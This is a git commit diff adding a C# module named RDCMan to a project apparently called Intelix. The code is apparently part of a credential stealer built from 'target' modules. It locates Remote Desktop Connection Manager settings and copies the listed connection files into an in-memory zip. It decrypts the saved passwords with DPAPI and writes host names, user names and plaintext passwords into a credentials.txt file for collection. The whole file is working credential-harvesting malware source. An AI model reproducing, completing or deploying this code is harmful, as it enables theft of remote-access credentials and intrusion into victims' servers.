initial commit

2026-08-27 18:29:08 +00:00
commit 89e4383061
454 changed files with 18399 additions and 0 deletions
@@ -0,0 +1,124 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Xml;
+using Intelix.Helper.Data;
+using Intelix.Helper.Encrypted;
+
+namespace Intelix.Targets.Applications;
+
+public class RDCMan : ITarget
+{
+	public void Collect(InMemoryZip zip, Counter counter)
+	{
+		string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "Remote Desktop Connection Manager", "RDCMan.settings");
+		if (!File.Exists(path))
+		{
+			return;
+		}
+		List<string> list = new List<string>();
+		XmlDocument xmlDocument = new XmlDocument();
+		xmlDocument.LoadXml(File.ReadAllText(path));
+		XmlNodeList xmlNodeList = xmlDocument.SelectNodes("//FilesToOpen");
+		if (xmlNodeList != null)
+		{
+			foreach (XmlNode item in xmlNodeList)
+			{
+				string innerText = item.InnerText;
+				if (!string.IsNullOrEmpty(innerText) && !list.Contains(innerText))
+				{
+					list.Add(innerText);
+				}
+			}
+		}
+		if (!list.Any())
+		{
+			return;
+		}
+		Counter.CounterApplications counterApplications = new Counter.CounterApplications();
+		counterApplications.Name = "RDCMan";
+		StringBuilder stringBuilder = new StringBuilder();
+		foreach (string item2 in list)
+		{
+			if (!File.Exists(item2))
+			{
+				continue;
+			}
+			string text = "RDCMan\\" + Path.GetFileName(item2);
+			zip.AddFile(text, File.ReadAllBytes(item2));
+			counterApplications.Files.Add(item2 + " => " + text);
+			XmlDocument xmlDocument2 = new XmlDocument();
+			xmlDocument2.LoadXml(File.ReadAllText(item2));
+			XmlNodeList xmlNodeList2 = xmlDocument2.SelectNodes("//server");
+			if (xmlNodeList2 == null || xmlNodeList2.Count == 0)
+			{
+				continue;
+			}
+			stringBuilder.AppendLine("SourceFile: " + item2);
+			stringBuilder.AppendLine($"Found servers: {xmlNodeList2.Count}");
+			stringBuilder.AppendLine();
+			foreach (XmlNode item3 in xmlNodeList2)
+			{
+				string text2 = string.Empty;
+				string text3 = string.Empty;
+				string text4 = string.Empty;
+				string text5 = string.Empty;
+				string text6 = string.Empty;
+				foreach (XmlNode item4 in item3)
+				{
+					foreach (XmlNode item5 in item4)
+					{
+						switch (item5.Name)
+						{
+						case "name":
+							text2 = item5.InnerText;
+							break;
+						case "profileName":
+							text3 = item5.InnerText;
+							break;
+						case "userName":
+							text4 = item5.InnerText;
+							break;
+						case "password":
+							text5 = item5.InnerText;
+							break;
+						case "domain":
+							text6 = item5.InnerText;
+							break;
+						}
+					}
+				}
+				if (!string.IsNullOrEmpty(text5))
+				{
+					string text7 = DecryptPassword(text5);
+					stringBuilder.AppendLine("----");
+					stringBuilder.AppendLine("HostName: " + text2);
+					stringBuilder.AppendLine("ProfileName: " + text3);
+					stringBuilder.AppendLine("UserName: " + (string.IsNullOrEmpty(text6) ? text4 : (text6 + "\\" + text4)));
+					stringBuilder.AppendLine("DecryptedPassword: " + text7);
+					stringBuilder.AppendLine();
+				}
+			}
+			string text8 = "RDCMan\\" + Path.GetFileName(item2) + "\\credentials.txt";
+			zip.AddTextFile(text8, stringBuilder.ToString());
+			counterApplications.Files.Add(text8 ?? "");
+		}
+		if (counterApplications.Files.Count > 0)
+		{
+			counterApplications.Files.Add("RDCMan\\");
+			counter.Applications.Add(counterApplications);
+		}
+	}
+
+	private string DecryptPassword(string password)
+	{
+		byte[] array = DpApi.Decrypt(Convert.FromBase64String(password));
+		if (array == null)
+		{
+			return string.Empty;
+		}
+		return Encoding.UTF8.GetString(array).TrimEnd(default(char));
+	}
+}